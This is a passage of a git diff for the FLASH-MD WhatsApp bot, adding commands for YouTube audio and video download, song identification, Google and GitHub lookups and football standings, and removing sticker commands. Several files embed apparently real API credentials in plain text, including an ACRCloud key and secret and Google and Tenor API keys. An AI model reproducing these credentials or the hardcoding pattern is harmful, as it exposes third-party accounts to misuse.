${videos[i].title}*\n`; + text += `📺 Channel: ${videos[i].author.name}\n`; + text += `⏱ Duration: ${videos[i].timestamp}\n`; + text += `🔗 Link: ${videos[i].url}\n\n`; + } + + await king.sendMessage(fromJid, { + image: { url: videos[0].thumbnail }, + caption: text + '*Powered by D*', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { + text: 'Error occurred while searching YouTube.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'ytmp3', + get flashOnly() { + return franceking(); + }, + aliases: ['mp3'], + description: 'Search and play MP3 music from YouTube (audio only).', + category: 'Search', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a song name or YouTube Link.' + }, { quoted: msg }); + } + + try { + const search = await yts(query); + const video = search.videos[0]; + + if (!video) { + return king.sendMessage(fromJid, { + text: 'No results found for your query.' + }, { quoted: msg }); + } + + const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); + const fileName = `${safeTitle}.mp3`; + const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; + + const response = await axios.get(apiURL); + const data = response.data; + + if (!data.downloadLink) { + return king.sendMessage(fromJid, { + text: 'Failed to retrieve the MP3 download link.' + }, { quoted: msg }); + } + + await king.sendMessage(fromJid, { + audio: { url: data.downloadLink }, + mimetype: 'audio/mpeg', + fileName, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }, + caption: 'FLASH-MD V2' + }, { quoted: msg }); + + } catch (err) { + console.error('[PLAY] Error:', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while processing your request.' + }, { quoted: msg }); + } + } + }, + + { + name: 'ytmp4', + get flashOnly() { + return franceking(); + }, + aliases: ['ytv', 'ytvideo'], + description: 'Downloads a YouTube video.', + category: 'Download', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a video name or YouTube URL.' + }, { quoted: msg }); + } + + try { + const search = await yts(query); + const video = search.videos[0]; + + if (!video) { + return king.sendMessage(fromJid, { + text: 'No results found.' + }, { quoted: msg }); + } + + const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); + const fileName = `${safeTitle}.mp4`; + const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp4`; + const response = await axios.get(apiURL); + const data = response.data; + + if (!data.downloadLink) { + return king.sendMessage(fromJid, { + text: 'Failed to retrieve the MP4 download link.' + }, { quoted: msg }); + } + + await king.sendMessage(fromJid, { + video: { url: data.downloadLink }, + mimetype: 'video/mp4', + fileName, + caption: '*FLASH-MD V2 - MP4*', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[YTMP4 ERROR]', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while downloading MP4.' + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Shazam.js b/commands/Shazam.js new file mode 100644 index 00000000..a54642f0 --- /dev/null +++ b/commands/Shazam.js @@ -0,0 +1,107 @@ +const acrcloud = require("acrcloud"); +const yts = require("yt-search"); +const { franceking } = require('../main'); +const { downloadMediaMessage } = require('@whiskeysockets/baileys'); +const fs = require("fs"); +const path = require("path"); + +const TEMP_DIR = path.join(__dirname, '..', 'temp'); +if (!fs.existsSync(TEMP_DIR)) fs.mkdirSync(TEMP_DIR); + +async function identifySong(buffer) { + const acr = new acrcloud({ + host: 'identify-us-west-2.acrcloud.com', + access_key: '4ee38e62e85515a47158aeb3d26fb741', + access_secret: 'KZd3cUQoOYSmZQn1n5ACW5XSbqGlKLhg6G8S8EvJ' + }); + + const result = await acr.identify(buffer); + if (result.status.code !== 0 || !result.metadata?.music?.length) return null; + return result.metadata.music[0]; +} + +module.exports = { + name: 'shazam', + aliases: ['whatsong', 'findsong', 'identify'], + description: 'Identify a song from an audio or video clip.', + category: 'Search', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted || (!quoted.audioMessage && !quoted.videoMessage)) { + return king.sendMessage(fromJid, { + text: '🎵 *Reply to a short audio or video message (10–20 seconds) to identify the song.*' + }, { quoted: msg }); + } + + const filePath = path.join(TEMP_DIR, `media-${Date.now()}.dat`); + + try { + const stream = await downloadMediaMessage( + { message: quoted }, + 'stream', + {}, + { logger: console } + ); + + const writeStream = fs.createWriteStream(filePath); + stream.pipe(writeStream); + await new Promise(resolve => writeStream.on('finish', resolve)); + + let buffer = fs.readFileSync(filePath); + const MAX_SIZE = 1 * 1024 * 1024; + if (buffer.length > MAX_SIZE) buffer = buffer.slice(0, MAX_SIZE); + + const matchedSong = await identifySong(buffer); + + if (!matchedSong) { + return king.sendMessage(fromJid, { + text: '❌ *Song could not be recognized.* Please try again with a clearer or more melodic part of the track.' + }, { quoted: msg }); + } + + const { title, artists, album, genres, release_date } = matchedSong; + const ytQuery = `${title} ${artists?.[0]?.name || ''}`; + const ytSearch = await yts(ytQuery); + + let response = `🎶 *Song Identified!*\n\n`; + response += `🎧 *Title:* ${title || 'Unknown'}\n`; + if (artists) response += `👤 *Artist(s):* ${artists.map(a => a.name).join(', ')}\n`; + if (album?.name) response += `💿 *Album:* ${album.name}\n`; + if (genres?.length) response += `🎼 *Genre:* ${genres.map(g => g.name).join(', ')}\n`; + if (release_date) { + const [year, month, day] = release_date.split('-'); + response += `📅 *Released:* ${day}/${month}/${year}\n`; + } + if (ytSearch?.videos?.[0]?.url) response += `🔗 *YouTube:* ${ytSearch.videos[0].url}\n`; + response += `\n*POWERED BY FLASH-MD V2*`; + + return king.sendMessage(fromJid, { + text: response.trim(), + contextInfo: { + forwardingScore: 777, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[SHZ ERROR]', err); + return king.sendMessage(fromJid, { + text: '⚠️ *Error:* Unable to recognize the song. Please try again with a clear, short clip (10–20s).' + }, { quoted: msg }); + } finally { + if (fs.existsSync(filePath)) fs.unlinkSync(filePath); + } + } +}; diff --git a/commands/Sing.jss b/commands/Sing.jss new file mode 100644 index 00000000..bfb0ad9f --- /dev/null +++ b/commands/Sing.jss @@ -0,0 +1,156 @@ +const ytdl = require('../france/Yt'); +const yts = require('yt-search'); +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); +const mm = require('music-metadata'); +const ffmpeg = require('fluent-ffmpeg'); + +// Helper: Check if MP3 buffer is valid +async function isValidMp3Buffer(buffer) { + try { + const metadata = await mm.parseBuffer(buffer, 'audio/mpeg'); + return metadata.format.container === 'MPEG' && metadata.format.duration > 0; + } catch { + return false; + } +} + +// Helper: Wait until FFmpeg output file stabilizes +async function waitForFileToStabilize(filePath, timeout = 5000) { + let lastSize = -1; + let stableCount = 0; + const interval = 200; + + return new Promise((resolve, reject) => { + const start = Date.now(); + const timer = setInterval(async () => { + try { + const { size } = await fs.promises.stat(filePath); + if (size === lastSize) { + stableCount++; + if (stableCount >= 3) { + clearInterval(timer); + return resolve(); + } + } else { + stableCount = 0; + lastSize = size; + } + + if (Date.now() - start > timeout) { + clearInterval(timer); + return reject(new Error("File stabilization timed out.")); + } + } catch (err) {} + }, interval); + }); +} + +// Helper: Re-encode buffer using FFmpeg to make WhatsApp-compatible +async function reencodeMp3(buffer) { + const inputPath = path.join(__dirname, 'input.mp3'); + const outputPath = path.join(__dirname, 'output.mp3'); + fs.writeFileSync(inputPath, buffer); + + return new Promise((resolve, reject) => { + ffmpeg(inputPath) + .audioCodec('libmp3lame') + .audioBitrate('128k') + .audioFrequency(44100) + .on('end', async () => { + try { + await waitForFileToStabilize(outputPath); + const fixedBuffer = fs.readFileSync(outputPath); + resolve(fixedBuffer); + } catch (err) { + reject(err); + } + }) + .on('error', reject) + .save(outputPath); + }); +} + +// Main Command +module.exports = { + name: 'sing', + aliases: ['yt', 'song'], + description: 'Play and download YouTube audio from link or search query.', + category: 'Media', + + execute: async (king, msg, args, fromJid) => { + if (!args.length) { + return king.sendMessage(fromJid, { + text: '🎵 *Provide a YouTube link or search query.*\nExample: `.sing Shape of You`' + }, { quoted: msg }); + } + + let query = args.join(' '); + let url = ''; + + try { + // Check if it's a YouTube URL + if (query.includes('youtube.com') || query.includes('youtu.be')) { + url = query; + } else { + // Search YouTube + const result = await yts(query); + if (!result.videos.length) { + return king.sendMessage(fromJid, { + text: '❌ No results found for your query.' + }, { quoted: msg }); + } + const video = result.videos[0]; + url = video.url; + query = video.title; + } + + // Download MP3 URL + const { mp3 } = await ytdl(url); + if (!mp3) { + return king.sendMessage(fromJid, { + text: '⚠️ Failed to download audio. Try another link or query.' + }, { quoted: msg }); + } + + // Download audio as buffer + const response = await axios.get(mp3, { + responseType: 'arraybuffer', + headers: { 'User-Agent': 'Mozilla/5.0' } + }); + const audioBuffer = Buffer.from(response.data); + + // Validate audio + let finalBuffer = audioBuffer; + const isValid = await isValidMp3Buffer(audioBuffer); + if (!isValid) { + await king.sendMessage(fromJid, { + text: '🔧 Re-encoding audio for WhatsApp compatibility...' + }, { quoted: msg }); + + try { + finalBuffer = await reencodeMp3(audioBuffer); + } catch (err) { + return king.sendMessage(fromJid, { + text: '❌ Re-encoding failed. Please try another song.' + }, { quoted: msg }); + } + } + + // Send audio file + await king.sendMessage(fromJid, { + audio: finalBuffer, + mimetype: 'audio/mpeg', + ptt: false, + fileName: `${query}.mp3` + }, { quoted: msg }); + + } catch (err) { + console.error('Error in sing command:', err); + return king.sendMessage(fromJid, { + text: '❌ Something went wrong while processing your request.' + }, { quoted: msg }); + } + } +}; diff --git a/commands/Socials.js b/commands/Socials.js new file mode 100644 index 00000000..c45b3f4f --- /dev/null +++ b/commands/Socials.js @@ -0,0 +1,116 @@ +const axios = require('axios'); +const { franceking } = require('../main'); + +module.exports = [ +{ + name: 'google', + aliases: ['Search'], + description: 'Search Google and get top results.', + category: 'Search', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: '🔍 *Please provide a search term!*\n\nExample:\n`.google what is treason`' + }, { quoted: msg }); + } + + try { + const apiKey = 'AIzaSyDMbI3nvmQUrfjoCJYLS69Lej1hSXQjnWI'; // Your API key + const cx = 'baf9bdb0c631236e5'; // Your Search Engine ID + + const { data } = await axios.get(`https://www.googleapis.com/customsearch/v1`, { + params: { + q: query, + key: apiKey, + cx: cx + } + }); + + if (!data.items || data.items.length === 0) { + return king.sendMessage(fromJid, { + text: '❌ *No results found.*' + }, { quoted: msg }); + } + + let resultsText = `🌐 *Google Search*\n🔍 *Query:* ${query}\n\n`; + + data.items.slice(0, 5).forEach(item => { + resultsText += `📌 *Title:* ${item.title}\n📝 *Description:* ${item.snippet}\n🔗 *Link:* ${item.link}\n\n`; + }); + + await king.sendMessage(fromJid, { + text: resultsText.trim() + }, { quoted: msg }); + + } catch (err) { + await king.sendMessage(fromJid, { + text: '⚠️ *Error searching Google.*\nMake sure your API key and CX ID are valid.' + }, { quoted: msg }); + } + } +}, { + name: 'github', + aliases: ['gh'], + description: 'Fetch GitHub user profile info.', + category: 'Search', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const username = args[0]; + + if (!username) { + return king.sendMessage(fromJid, { + text: '📦 *Please provide a GitHub username.*' + }, { quoted: msg }); + } + + try { + const response = await fetch(`https://api.github.com/users/${username}`); + const data = await response.json(); + + if (data.message === 'Not Found') { + return king.sendMessage(fromJid, { + text: '❌ *GitHub user not found.*' + }, { quoted: msg }); + } + + const profilePic = `https://github.com/${data.login}.png`; + + const userInfo = ` +🌐 *GitHub User Info* + +👤 *Name:* ${data.name || 'N/A'} +🔖 *Username:* ${data.login} +📝 *Bio:* ${data.bio || 'N/A'} +🏢 *Company:* ${data.company || 'N/A'} +📍 *Location:* ${data.location || 'N/A'} +📧 *Email:* ${data.email || 'N/A'} +🔗 *Blog:* ${data.blog || 'N/A'} +📂 *Public Repos:* ${data.public_repos} +👥 *Followers:* ${data.followers} +🤝 *Following:* ${data.following} + `.trim(); + + await king.sendMessage(fromJid, { + image: { url: profilePic }, + caption: userInfo + }, { quoted: msg }); + + } catch (err) { + await king.sendMessage(fromJid, { + text: '⚠️ Error fetching GitHub user. Please try again.' + }, { quoted: msg }); + } + } +} +]; diff --git a/commands/Sports.js b/commands/Sports.js new file mode 100644 index 00000000..e5fc809a --- /dev/null +++ b/commands/Sports.js @@ -0,0 +1,391 @@ +const { franceking } = require('../main'); +const axios = require('axios'); + +module.exports = [ + { + name: 'serie-a', + get flashOnly() { + return franceking(); + }, + description: 'Serie-a command', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const res = await axios.get('https://api.dreaded.site/api/standings/SA'); + const standings = res.data.data; + const message = `*TABLE STANDINGS FOR SERIE-A*\n\n${standings}`; + + await king.sendMessage(fromJid, { + text: message, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch Serie A standings.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'tinyurl', + get flashOnly() { + return franceking(); + }, + aliases: ['shorturl'], + description: 'Tinyurl command', + category: 'General', + execute: async (king, msg, args, fromJid) => { + const text = args.join(' '); + if (!text) { + return king.sendMessage(fromJid, { + text: "Please provide a URL to shorten.", + }, { quoted: msg }); + } + + const urlRegex = /^(http:\/\/|https:\/\/)[^\s/$.?#].[^\s]*$/i; + if (!urlRegex.test(text)) { + return king.sendMessage(fromJid, { + text: "That doesn't appear to be a valid URL.", + }, { quoted: msg }); + } + + try { + const res = await axios.get(`https://api.dreaded.site/api/shorten-url?url=${encodeURIComponent(text)}`); + const data = res.data; + + if (!data || data.status !== 200 || !data.result || !data.result.shortened_url) { + return king.sendMessage(fromJid, { + text: "We are sorry, but the URL shortening service didn't respond correctly. Please try again later.", + }, { quoted: msg }); + } + + const shortenedUrl = data.result.shortened_url; + const originalUrl = data.result.original_url; + + await king.sendMessage(fromJid, { + text: `*Shortened URL*: ${shortenedUrl}`, + }, { quoted: msg }); + + } catch (e) { + console.error("Error occurred:", e); + await king.sendMessage(fromJid, { + text: "An error occurred while shortening the URL. Please try again later.", + }, { quoted: msg }); + } + } + }, + + { + name: 'bundesliga', + get flashOnly() { + return franceking(); + }, + aliases: ['bl1', 'germany'], + description: 'Get the current Bundesliga standings.', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const response = await axios.get('https://api.dreaded.site/api/standings/BL1'); + const standings = response.data.data; + + let table; + if (typeof standings === 'string') { + table = `🏆 *TABLE STANDINGS FOR BUNDESLIGA*\n\n${standings}`; + } else if (Array.isArray(standings)) { + table = '🏆 *TABLE STANDINGS FOR BUNDESLIGA*\n\n'; + standings.forEach((team, index) => { + table += `*${index + 1}. ${team.team}*\n`; + table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; + }); + } else { + table = '⚠️ Unexpected data format from API.'; + } + + await king.sendMessage(fromJid, { + text: table.trim(), + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[BUNDESLIGA ERROR]', err); + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch Bundesliga standings.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'epl', + get flashOnly() { + return franceking(); + }, + aliases: ['premierleague', 'pl'], + description: 'Get the current English Premier League standings.', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const response = await axios.get('https://api.dreaded.site/api/standings/PL'); + const standings = response.data.data; + + let table; + if (typeof standings === 'string') { + table = `🏆 *ENGLISH PREMIER LEAGUE STANDINGS*\n\n${standings}`; + } else if (Array.isArray(standings)) { + table = '🏆 *ENGLISH PREMIER LEAGUE STANDINGS*\n\n'; + standings.forEach((team, index) => { + table += `*${index + 1}. ${team.team}*\n`; + table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; + }); + } else { + table = '⚠️ Unexpected data format from API.'; + } + + await king.sendMessage(fromJid, { + text: table.trim(), + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[EPL ERROR]', err); + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch EPL standings.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'laliga', + get flashOnly() { + return franceking(); + }, + aliases: ['ll', 'spain'], + description: 'Get the current La Liga standings.', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const response = await axios.get('https://api.dreaded.site/api/standings/PD'); + const standings = response.data.data; + + let table; + if (typeof standings === 'string') { + table = `🏆 *LA LIGA TABLE STANDINGS*\n\n${standings}`; + } else if (Array.isArray(standings)) { + table = '🏆 *LA LIGA TABLE STANDINGS*\n\n'; + standings.forEach((team, index) => { + table += `*${index + 1}. ${team.team}*\n`; + table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; + }); + } else { + table = '⚠️ Unexpected data format from API.'; + } + + await king.sendMessage(fromJid, { + text: table.trim(), + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[LALIGA ERROR]', err); + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch La Liga standings.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'ligue1', + get flashOnly() { + return franceking(); + }, + aliases: ['fl1'], + description: 'Get the current Ligue 1 standings.', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const response = await axios.get('https://api.dreaded.site/api/standings/FL1'); + const standings = response.data.data; + + let table; + if (typeof standings === 'string') { + table = `🏆 *LIGUE 1 TABLE STANDINGS*\n\n${standings}`; + } else if (Array.isArray(standings)) { + table = '🏆 *LIGUE 1 TABLE STANDINGS*\n\n'; + standings.forEach((team, index) => { + table += `*${index + 1}. ${team.team}*\n`; + table += ` 📊 Pts: ${team.points} | P: ${team.played} | W: ${team.win} | D: ${team.draw} | L: ${team.lose} | GD: ${team.goalsDiff}\n\n`; + }); + } else { + table = '⚠️ Unexpected data format from API.'; + } + + await king.sendMessage(fromJid, { + text: table.trim(), + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[LIGUE1 ERROR]', err); + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch Ligue 1 standings.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + }, + + { + name: 'matches', + get flashOnly() { + return franceking(); + }, + aliases: ['fixtures', 'todaymatches'], + description: 'Shows today\'s football matches from top leagues.', + category: 'Sports', + execute: async (king, msg, args, fromJid) => { + try { + const leagues = { + '🇬🇧 Premier League': 'PL', + '🇪🇸 La Liga': 'PD', + '🇩🇪 Bundesliga': 'BL1', + '🇮🇹 Serie A': 'SA', + '🇫🇷 Ligue 1': 'FR' + }; + + let message = `⚽ *Today's Football Matches*\n\n`; + + for (const [leagueName, code] of Object.entries(leagues)) { + const res = await axios.get(`https://api.dreaded.site/api/matches/${code}`); + const matches = res.data.data; + + if (typeof matches === 'string') { + message += `${leagueName}:\n${matches}\n\n`; + } else if (Array.isArray(matches) && matches.length > 0) { + message += `${leagueName}:\n${matches.map(match => { + return `${match.game}\n📅 Date: ${match.date}\n⏰ Time: ${match.time} (EAT)\n`; + }).join('\n')}\n\n`; + } else { + message += `${leagueName}: No matches scheduled\n\n`; + } + } + + message += '🕒 *Times are in East African Time (EAT).*'; + + await king.sendMessage(fromJid, { + text: message.trim(), + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (err) { + console.error('[MATCHES ERROR]', err); + await king.sendMessage(fromJid, { + text: '⚠️ Something went wrong. Unable to fetch matches.', + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/StickCMD.js b/commands/StickCMD.js deleted file mode 100644 index cda75037..00000000 --- a/commands/StickCMD.js +++ /dev/null @@ -1,113 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - - - -const {france }= require ('../framework/france') ; -const {addstickcmd, deleteCmd, getCmdById, inStickCmd , getAllStickCmds} = require('../bdd/stickcmd') ; - - - -france( - { - nomCom : 'setcmd', - categorie : 'stickcmd' - - }, async (dest,zk,commandeOptions) => { - - const {ms , arg, repondre,superUser , msgRepondu} = commandeOptions; - - if (!superUser) { repondre('you can\'t use this command') ; return} ; - - if(msgRepondu && msgRepondu.stickerMessage ) { - - if(!arg || !arg[0]) { repondre('put the name of the command') ; return} ; - - - await addstickcmd(arg[0].toLowerCase() , msgRepondu.stickerMessage.url ) ; - - repondre('Stick cmd save successfully') - - } else { - - repondre('mention a sticker') - } - - }) ; - - france( - { - nomCom: 'delcmd', - categorie: 'stickcmd' - }, - async (dest, zk, commandeOptions) => { - - const { ms, arg, repondre, superUser } = commandeOptions; - - if (!superUser) { - repondre('only Mods can use this command'); - return; - } - - if (!arg || !arg[0]) { - repondre('put the name of the command that you want to delete'); - return; - } - - const cmdToDelete = arg[0]; - - - try { - await deleteCmd(cmdToDelete.toLowerCase()); - repondre(`the command ${cmdToDelete} is deleted successfully.`); - } catch { - repondre(`the command ${cmdToDelete} don't exist`); - } - } - ); - - - france( - { - nomCom: 'allcmd', - categorie: 'stickcmd' - }, - async (dest, zk, commandeOptions) => { - const { repondre, superUser } = commandeOptions; - - if (!superUser) { - repondre('only Mods can use this command'); - return; - } - - const allCmds = await getAllStickCmds(); - - if (allCmds.length > 0) { - const cmdList = allCmds.map(cmd => cmd.cmd).join(', '); - repondre(`*List of all stickcmd :* - ${cmdList}`); - } else { - repondre('No stickcmd save'); - } - } -); diff --git a/commands/Sticker-Search.js b/commands/Sticker-Search.js deleted file mode 100644 index fea0510b..00000000 --- a/commands/Sticker-Search.js +++ /dev/null @@ -1,67 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - -const axios = require("axios"); -const { Sticker, StickerTypes } = require("wa-sticker-formatter"); -const {france} = require("../framework/france"); - -france({ - nomCom: "stickersearch", - categorie: 'Search', - reaction: "🍁" -}, -async (dest, zk, commandeOptions) => { - const { repondre, ms, arg, nomAuteurMessage } = commandeOptions; - - if (!arg[0]) { - repondre("where is the request ? !"); - return; - } - - const gifSearchTerm = arg.join(" "); - const tenorApiKey = "AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c"; // Remplacez par votre clé d'API Tenor - - try { for ( i = 0 ; i < 5 ; i++) { - const gif = await axios.get( - `https://tenor.googleapis.com/v2/search?q=${gifSearchTerm}&key=${tenorApiKey}&client_key=my_project&limit=8&media_filter=gif` - ); - - const gifUrl = gif.data.results[i].media_formats.gif.url; - - - - - // Assurez-vous de remplacer les valeurs manquantes dans la création du sticker - const packname = nomAuteurMessage; // Remplacez par le nom de votre pack de stickers - - const stickerMess = new Sticker(gifUrl, { - pack: packname, - author: 'FLASH-MD', - type: StickerTypes.FULL, - categories: ["🤩", "🎉"], - id: "12345", - quality: 60, - background: "transparent", - }); - const stickerBuffer2 = await stickerMess.toBuffer(); - zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms }); } - } catch (error) { - 